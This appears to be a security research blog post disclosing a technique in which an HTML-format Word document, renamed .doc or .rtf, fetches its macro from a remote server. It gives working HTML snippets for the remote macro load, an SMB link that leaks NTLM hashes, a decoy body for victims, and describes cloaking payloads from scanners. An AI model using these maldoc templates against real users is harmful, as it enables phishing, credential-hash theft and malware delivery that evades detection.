Overview
While looking into the filetypes supported by Microsoft Word, I discovered that HTML Word documents support loading macros from remote locations. These HTML files can have typical file extensions, such as .doc or .rtf, and can be very short and simple. This can provide another method for evading file delivery and endpoint detections. I have not found any existing information about this specific technique, so as far as I am aware this is new.
Why Remote Is Better
The document we are sending to the user is totally benign and the malicious part is fetched from a remote location. There are several reasons we would want to do this. It makes it easier to bypass any scanning of email attachments. We are also able to control what the macro should be based on the IP or user agent of the person requesting it. With this we can have a benign macro displayed to automated scanners and then only set the actual payload for the target.
Word & File Types
One thing that is important to note is that Word uses more information than just the file extension to determine the file type. There is more information about this here. Because of this behavior of Word we can create any format of Word document and just rename the file extension to another, with some exceptions. The newer file extensions like .docx are stricter in what they allow. Also, Excel is a bit different than Word here. Some extensions with Excel will cause an additional dialog box. For example, if we change an .xlsx document to .csv and open with Excel we get the following message.
What we want is a Word document that supports macros. The following is a list of some of the file types that Word supports saving with macros.
| File Formats with Macro Support | |
| .docm | Word Macro-Enabled Document |
| .doc | Word 97-2003 Document |
| .dotm | Word Macro-Enabled Template |
| .dot | Word 97-2003 Template |
| .html | Web Page |
| .mhtml | Single File Web Page |
| .xml | Word 2003 XML Document |
HTML Word Documents
One of the formats that Word can save as from that list is an HTML file.
Since .html files don’t open by default in Word let’s rename it to .doc or .rtf. If we look at the HTML source that it generates we can see that it is including several files from a subdirectory.
It turns out we can almost remove everything from this file and still have the macros work. The editdata.mso file contains the macro information while filelist.xml includes a list of files.
<head>
<link rel=File-List href="Test%20Document_files/filelist.xml">
<link rel=Edit-Time-Data href="Test%20Document_files/editdata.mso">
</head>Remote Macro Injection
What is preventing these files from being served remotely? Let’s try it.
<head>
<link rel=File-List href="http://127.0.0.1/filelist.xml">
<link rel=Edit-Time-Data href="http://127.0.0.1/editdata.mso">
</head>Opening the document we are greeted by the following additional warning message. This is the main downside to using this instead of the traditional remote template injection as described here.
If we check the web server we can see that for some reason the filelist.xml file wasn’t loaded.
Removing this file from our document leaves us with one of the smallest maldocs possible.
<head>
<link rel=Edit-Time-Data href="http://127.0.0.1/editdata.mso">
</head>Uploading a version pointing to a public IP hosting a malicous macro to VirusTotal returns a total of 0 vendors that flagged it. Also VirusTotal says it is an HTML document and not a Word document.
NTLM Hash Disclosure
We showed that the editdata.mso file could be loaded over HTTP but it also works over SMB. Let’s add a link for another file colorschememapping.xml.
<head>
<link rel=Edit-Time-Data href="http://127.0.0.1/editdata.mso">
<link rel=colorSchemeMapping href="//127.0.0.1/colorschememapping.xml">
</head>With this we get a hash back and the macro still works fine. The hash disclosure even happens before you accept the dialog box about the files not being in an expected location. If you wanted even more control over the delivery of the malicious macro you could probably even write something to serve the malicious editdata.mso file on the proper username from the hash disclosure.
Adding Content
Since we removed all of the content of the document a user would be presented with a blank document on opening. This would be suspicious. Because this is an HTML Word document we can easily just add some HTML with inline CSS styling.
<head>
<link rel=Edit-Time-Data href="http://127.0.0.1/editdata.mso">
<link rel=colorSchemeMapping href="//127.0.0.1/colorschememapping.xml">
</head>
<body>
<h1 style="color:red;text-align:center;">This is a not a malicious file.</h1>
<p>Some very convincing pretext.</p>
</body>Opening the file now we have our complete maldoc ready to send to our victim.
